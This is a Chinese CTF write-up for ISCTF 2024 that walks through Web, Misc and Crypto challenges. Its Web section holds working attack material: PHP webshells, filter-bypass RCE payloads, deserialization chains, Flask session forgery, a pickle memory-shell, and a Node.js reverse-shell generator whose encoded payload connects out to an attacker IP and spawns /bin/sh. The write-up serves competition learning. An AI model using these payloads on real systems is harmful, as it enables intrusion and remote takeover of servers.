Web

25时晓山瑞希生日会

经典 HTTP 头伪造,伪造流程如下:

1
2
User-Agent: Project Sekai			//伪造UA头
X-Forwarded-For:127.0.0.1 //伪造本地用户

伪造日期是本题最大的坑点,一直在想怎么伪造 25 时,没想到是二刺螈

搜索得知 25时生日会 是在八月二十七举办,伪造日期即可得到 flag

1
Date: Tue, 27 Aug 2024 12:41:59 GMT

小蓝鲨的冒险

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
$num = $_POST["num"];
echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
if($num == 2024){
die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
}
if(preg_match("/[a-z]/i", $num)){
die("陷阱太多QAQ");
}
if(intval($num,0) == 2024){
echo "到这了难道还要放弃吗?<br>";
if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
}
}

第一层:考察 md5 弱比较和 parse_str 函数

0e开头后面全为数字,弱类型比较都等于0,用 s878926199a 绕过

parse_str 把字符串 a[0] 当成变量解析,从而赋值

第二层:num 中不能有字母,还不能等 2024,,同时还要绕过 intval 函数

使用进制转化绕过,八进制中不含字母,可以使用0 3750 绕过

第三层:直接写个 flag 就绕过了

综上,写入以下 payload 即可绕过:

1
2
?b=a[0]=s878926199a&which=flag
num=03750

ezSSTI

先测试是否是正常的 SSTI,输入 {{2\*2}} 看是否能正常解析

成功进行运算,说明是一个正常的 SSTI,可以直接用 fenjing 一把梭了

先抓包测一下参数,发现参数是 user_input

按照要求填入请求方式和请求参数,成功绕过,执行命令得到 flag

UP!UPloader

文件上传,直接上传个一句话木马,如下:

1
<?php @eval($_POST['a']); ?>

提示 include.php 文件包含,访问发现可以读取任意文件

使用伪协议读取一下 upload.php 的源码,看一下上传逻辑

1
php://filter/read=convert.base64-encode/resource=upload.php

base64 解码,upload.php 源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$name = pathinfo($file['name'], PATHINFO_FILENAME);
$dir_name = $name . '.' . $ext;
$upload_dir = './uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
echo "æ–‡ä»¶ä¸Šä¼ æˆåŠŸï¼ä¸è¿‡æ–‡ä»¶è·¯å¾„å¯ä¸å¥½æ‰¾å‘€~什么?什么include.php?我不知道啊。" ;
} else {
echo "æ–‡ä»¶å­˜å‚¨å¤±è´¥ï¼ŒæœªçŸ¥åŽŸå› ......";
}
die();
}
?>

文件上传到 ./uploads/ 目录下,文件名被重命名成 md5 加密+后缀,按照逻辑访问

1
/uploads/f3b94e88bd1bd325af6f62828c8785dd.php

访问木马文件,执行 env 命令,得到 flag

1z_php

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
#一句话木马,神神又奇奇
if(isset($_POST['J'])){
$call=$_POST['J'];
$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
foreach ($dangerous_commands as $command) {
if (preg_match("/$command/i", $call)) {
die("这些个危险函数可不兴使啊");
}
}
system($call);
}
?>

就简单过滤了一些读文件的命令,先 ls /看一下根目录,发现 flag 文件 f14g

使用关键字转义绕过,得到 flag

1
ca\t /f14g

ezserialize

题如其名,本以为是什么花里胡哨的,直接将 isAdmin 设置成 1,变量覆盖即可绕过

1
2
3
4
5
$payload = new User('hacker');
$payload->isAdmin = true;
echo serialize($payload);

?data=O:4:"User":2:{s:8:"username";s:6:"hacker";s:7:"isAdmin";b:1;}

ezrce

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];

if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>

利用无数字字母 rce 之取反,即可绕过。脚本如下:

1
2
3
4
5
6
7
8
9
10
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

payload 如下:

1
?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

小蓝鲨的秘密

这题点开链接就是官网,能直接打官网嘛,包不能的,考虑重定向

抓一个点击链接的包即可得到 flag

天命人

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;

function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;

function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";

function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');

命令执行部分是个简单的 md5 绕过

0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

链子部分就正常的构造,链子如下:

1
Tianmingren->Dinghaishenzhen->Huoyanjinjing->Wuzhishan
  1. 先创建 Tianmingren 对象触发 __destruct() 魔术方法
  2. 将tianming 赋值为 Dinghaishenzhen 对象触发 __toString() 魔术方法
  3. 将属性 yun 赋值为Huoyanjinjing 对象,对象被当成函数调用触发 __invoke() 魔术方法
  4. 将属性 huoyan 赋值为 Wuzhishan 对象,访问对象不存在的属性 jinjing 触发 __get() 魔术方法
1
2
3
4
$payload=new Tianmingren();
$payload->tianming=new Dinghaishenzhen();
$payload->tianming->yun = new Huoyanjinjing();
$payload->tianming->yun->huoyan=new Wuzhishan();

然后需要绕过 throw new Exception,反序列化后直接触发抛出异常导致程序不能正常往下走

使用数组进行绕过

1
2
3
4
$exp = array($payload,0);
echo (serialize($exp));

// a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}

将输出 payload 的第二个值索引置空即可绕过异常机制,强制触发__destruct()

1
a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;}

传入 payload 即可得到 flag

千年樱

第一层:

伪造 cookie:

1
from=ISCTF

第二层:

关键源码如下:

1
2
3
if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}

使用 data 伪协议读文件

1
name=data://text/plain,ISCTF

第三层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "dir.php";
highlight_file(__FILE__);

function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}

if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}
?>

114514 后面加 a 绕过

2024XYCTF 有道类似的题,连连看到底是连连什么看

1
https://blog.csdn.net/uuzeray/article/details/138274291

使用工具 php_filter_chain 进行伪造,工具地址如下:

1
https://github.com/synacktiv/php_filter_chain_generator

生成命令如下:

1
python php_filter_chain_generator.py --chain "sakura for ISCTF<?php"

按照文章所说,直接打的话后面会有脏数据,手动加 string.strip_tags 过滤器来去除php标签

按照要求传参绕过,然后正常命令执行得到 flag

小蓝鲨的临时存储室

文件上传,先传一个一句话木马,上传成功

1
<?php @eval($_POST['a']); ?>

蚁剑连接,连接成功,看到根目录有 flag,尝试直接读,没有权限,当然没这么简单

尝试 suid 提权失败,试了一会发现传的马子突然失效了,想到定时任务将文件删除了

在根目录发现一个文件,可以将 uplods 目录下所有 php 后缀的文件删除,

定时任务有 root 权限,利用定时任务将根目录下的 flag 读取到 /tmp/1.txt,等待一会即可得到 flag

ezlogin

关键源码如下:

1
2
3
4
5
6
7
8
9
10
11
function auth(req, res, next) {
if(req.cookies.token){
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
if (!user.username) {
return res.status(401).redirect('/login');
}
}else{
return res.status(401).redirect('/login');
}
next();
}

看见 unserialize 函数就想到 js 反序列化,搜到一个 cve,文章如下:

1
https://cloud.tencent.com/developer/article/1374840

照着文章直接打就行

使用 nodejsshell.py 生成反弹 shell 的 payload

nodejsshell.py 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys

if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

需要用 python2 运行,命令如下:

1
python nodejsshell.py ip port

得到反弹 shell 的 payload,接着生成反序列化的 payload:

1
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,53,54,46,50,51,56,46,50,51,51,46,55,56,34,59,10,80,79,82,84,61,34,50,50,51,51,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

先登陆下,生成一个 cookie,登陆成功后抓包就有了 cookie 字段,将 payload base64 编码后传入 cookie 字段,攻击机开启监听

1
nc -lvvp port

然后 burp 发包

成功反弹 shell,执行命令得到 flag

小蓝鲨的故事

一个简单的界面,啥也没有,dirsearch 扫一下目录

访问 /robots.txt 路由,根据提示知道这是 key

利用 key 解 session,发现用户名为 www-data

1
python flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zzc91w.1Gfyu8HAcfSlU3nsh8AD6NVIJNs" -s "nkh4vRTU"

尝试伪造 root 身份无果,发现主界面的提示,Read Hacker!!!,尝试访问 /Hacker 路由

源码里看到 我是ISctf_Hacker!!!!!!!!!!!!,尝试伪造ISctf_Hacker 身份访问 /flag 路由

替换伪造的 session,发包得到 flag

新闻系统

先按照给出的普通用户账号,然后伪造 admin 的 seesion 访问 /admin 路由

1
2
3
python flask_session_cookie_manager3.py decode -c ".eJyrVipILC4uzy9KUbJSKkktLjE0NFTSUSouSSwpLQYKlRanFgH5ICovMTcVqkipFgAb-RLg.ZzdI_A.JoRfLg7lmCaFWs4HkMjY5f2taxs" -s "W3l1com_isCTF"

python flask_session_cookie_manager3.py encode -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}" -s "W3l1com_isCTF"

替换伪造的 session 后,访问 /admin 路由,进入新闻管理界面

然年这后半部分跟 2024moectf 的 pickle 题很像,出题人把回显位过滤了,想到打内存马

payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

opcode = b'''cbuiltins
eval
(S"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())"
tRc__main__
News
(S''
S''
tR.'''

exp = base64.b64encode(opcode)
print(exp.decode())

#Y2J1aWx0aW5zCmV2YWwKKFMiX19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdjYXQgL2ZsYWcnKS5yZWFkKCkpIgp0UmNfX21haW5fXwpOZXdzCihTJycKUycnCnRSLg==

在添加新闻处触发 pickle 反序列化,得到 flag

Misc

小蓝鲨的签到01

这张二维码甚至都不用拼,微信直接扫就能扫到,扫码发送”ISCTF2024”即可获取flag

flag 值:ISCTF{Welcome_to_blueshark}

小蓝鲨的签到02

010 打开图片,文件尾就是 flag

flag 值:ISCTF{blueshark!_@#2024$%^&*}

游园地1

百度识图,全是几乎一样的图片,随便点开一张,观察背景几乎都一样

百度地图搜索 武汉中山公园,得到具体位置

flag 值: ISCTF{湖北省_武汉市_江汉区_武汉中山公园}

数字迷雾:在像素中寻找线索

lsb 隐写,这题也是有点小问题,最后的大括号没封起来,我以为是一半 flag,另一半没找到,后来试了下将 | 换成大括号就行

使用 stegslove 乱点点,或者直接随波逐流得到 flag

flag 值:SCTF{+9qn1DKdun!glAK}

秘密

文件尾 FFD9 之后还有数据,一眼盯帧,oursecret 隐写

oursecret文件特征:文件尾部有特殊字节9E97BA2A

010 搜索关键字 pass 找到一个密码

使用工具 oursecret 提取文件,得到一个文本文件

零宽解密,使用默认零宽字符即可,得到 flag

1
https://330k.github.io/misc_tools/unicode_steganography.html

watermark

手快抢到了一血,这题考察的是隐水印技术

图片隐水印,用工具提取,得到 key2:64oRvUfta9yJsBv

文本隐水印,比较小众,小而美工具提取,得到 key1:FAAqDPjpgKJiB6m

1
https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html

拼接一下就是压缩包密码,FAAqDPjpgKJiB6m64oRvUfta9yJsBv

解压搜索 ISCTF 即可得到 flag

flag 值:ISCTF{Watermark_is_used_2_protect%digital*assets}

赢!rar

上课无聊在看,使用 MT 管理器 16 进制打开看到密码 admin123456

解压 255 个一样的文件,但是有一个比较奇怪的 123.txt_flag.txt,打开是这

1
KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++ 

随波逐流一把梭,得到 flag

flag 值:ISCTF{Beat_SfTian!!!!}

小蓝鲨的问卷

填写问卷即可得到 flag

flag 值:ISCTF{Meet_each_other_everywhere!!!}

Crypto

密码做题几乎全靠 AI 了,LLM 永远的神!!!

我和小蓝鲨的秘密

把源码给 AI,让 AI 写个脚本,分析如下

脚本如下,运行即可得到 flag 图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from PIL import Image
import numpy as np
from Crypto.Util.number import inverse

# 已知的 n 和 e
n = 29869349657224745144762606999
e = 65537

# 假设你已经分解了 n,得到了 p 和 q
p = 160216064374859
q = 186431677583461

# 计算 phi 和私钥 d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

print(d)
# 加载加密的图像数组
encrypted_array = np.load("encrypted_image.npy",allow_pickle=True)

# 获取图像的尺寸
h, w, _ = encrypted_array.shape

# 解密图像数组
decrypted_array = np.zeros_like(encrypted_array, dtype=np.uint8)
for i in range(h):
for j in range(w):
r = pow(encrypted_array[i, j, 0], d, n)
g = pow(encrypted_array[i, j, 1], d, n)
b = pow(encrypted_array[i, j, 2], d, n)

decrypted_array[i, j, 0] = r
decrypted_array[i, j, 1] = g
decrypted_array[i, j, 2] = b

# 将解密后的数组转换为图像
decrypted_image = Image.fromarray(decrypted_array)
decrypted_image.save("decrypted_flag.jpg")
print("图片已解密并保存为 decrypted_flag.jpg")

ChaCha20-Poly1305

AI 简单分析了下,说的是 key 必须是 32 位 16 进制数,但是给出的 key 却不知道是啥乱码,随波逐流梭一下,base92 解一下刚好得到 32 位 16 进制数:

利用 AI 给出的解密脚本,得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Cipher import ChaCha20_Poly1305
import binascii

# 读取密钥
with open('key.txt', 'r') as key_file:
key_hex = key_file.read().strip()
key = binascii.unhexlify(key_hex)

# 假设你已经保存了随机数、认证标签和密文
nonce_hex = 'd8ebeedec812a6d71240cc50' # 替换为实际的随机数
tag_hex = '70ffcc508bf4519e7616f602123c307b' # 替换为实际的认证标签
ct_hex = "20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb"

nonce = binascii.unhexlify(nonce_hex)
tag = binascii.unhexlify(tag_hex)
ct = binascii.unhexlify(ct_hex)

# 初始化解密器
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

plaintext = cipher.decrypt_and_verify(ct, tag)
print(f"Decrypted Flag: {plaintext.decode('utf-8')}")

# ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}

蓝鲨的数学题

1
2
3
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193

c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513

hint1:模数是2**512 这是一个离散对数的问题代码中的n、m和c是大整数,分别代表模数、底数和结果。sympy.discrete_log函数用于计算离散对数,即找到一个整数x,使得b^x ≡ c (mod m),其中b是底数,c是结果,m是模数。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
n = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084096

m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193

c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513

import sympy

flag=sympy.discrete_log(2**512,c,m)

import binascii

print(binascii.unhexlify(hex(flag)[2:]))

蓝鲨的费马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import libnum
import gmpy2
from Crypto.Util.number import *

flag=b'ISCTF{********}'
m=bytes_to_long(flag)

p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
n=p*q
e=0x10001
c=pow(m,e,n)
d=inverse(e,(p-1)*(q-1))
leak = (d+(pow(p,q,n)+pow(q,p,n)))%n

print("c=", c)
print("n=", n)
print("leak=", leak)

"""
c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
"""

e是公钥指数,c是加密后的消息,n是模数,leak是部分泄露的信息。通过一个循环,尝试不同的k值,计算私钥d。这里的计算利用了d = (1 + k * (n - leak + 1)) // (e - k)的公式,这是基于泄露信息和中国剩余定理的逆向工程。使用计算出的d值,通过pow(c, d, n)尝试解密消息c。如果解密后的消息包含字符串”ISCTF”,则认为找到了正确的解密密钥,并打印出解密后的消息。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import libnum
import gmpy2
from Crypto.Util.number import *

e=0x10001
c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881

for k in range(65535):
d = (1+k*(n-leak+1))//(e-k)
m = pow(c,d,n)
if "ISCTF" in str(long_to_bytes(m)):
print(long_to_bytes(m))
break

解方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Cryptodome.Util.number import *
from random import *
from gmpy2 import *
import uuid

flag1='ISCTF{'+str(uuid.uuid4())+'}'

m1=bytes_to_long(flag1.encode())
def get_p():

BITS = 256
bits = 777
oder = 4
a = randint(1 << bits, 1 << bits + 1)
p=getPrime(BITS)
p1 = p**oder+a
return p,p1

p,p1=get_p()

s=getPrime(1024)
q=getPrime(512)
n=p*q**4
e=65537
c1=pow(s,e,n)
c=pow(s**3+1,m1,s**5)

print("c1=",c1)
print("c =",c)
print("n =",n)
print("p1 =",p1)


'''

c1= 671390498592586008552998377599101093977542184109077889081448730480869018650843045119891777468161631085086340705902115332025675787789530562679603254577287153918966364523848382506106179394235772395029788721306186952016420794804145631124905952103136061076643266886961178241381892015555099638200222249447194504082451341122502519637821695210573997670753981061458264118355417889153180841281073262935937836447460470926729282834006229571453935760593644658459098721652426154970766417292435960463905367868753821950303919781798234432998272038029063155193184039985018137026245365188171178677898869374676546799536208952198558258306460302868688355653022725288744014143221560882404431652751343944983442109327
c = 8641190030376811670503537177719719233418166235794962118828671236836174132083208517733734760455990850156371205118391537919769888760384574011411232571257192285256730733174399297826587479261381970232162702657952399683882650083181048279650913795429823628186888540572704055008102853692060360140858142686334722286525699998854566609078547487420929457446776757558492454916447188774943818970599916514467335772992690805247630814156710861067503956707301402347944233660194395192354000788262111000900574820275786269075882923600474781645848712157460135387134196156906258218217831988828360827613420801773911833194097791649069743116686685667300622630909231822986237104627385544169938138006242341269672868611269202418482629393372933567053272565557137741441902377611003983050084491513897727856173625922194300103448148829004025229567101761111396110940066254801762424343522707712480796358754008120503317686600144600226149617189681233392693738216138797012278242152852923361635415564580582002132107424154426980566696622448291815571736676562214017436
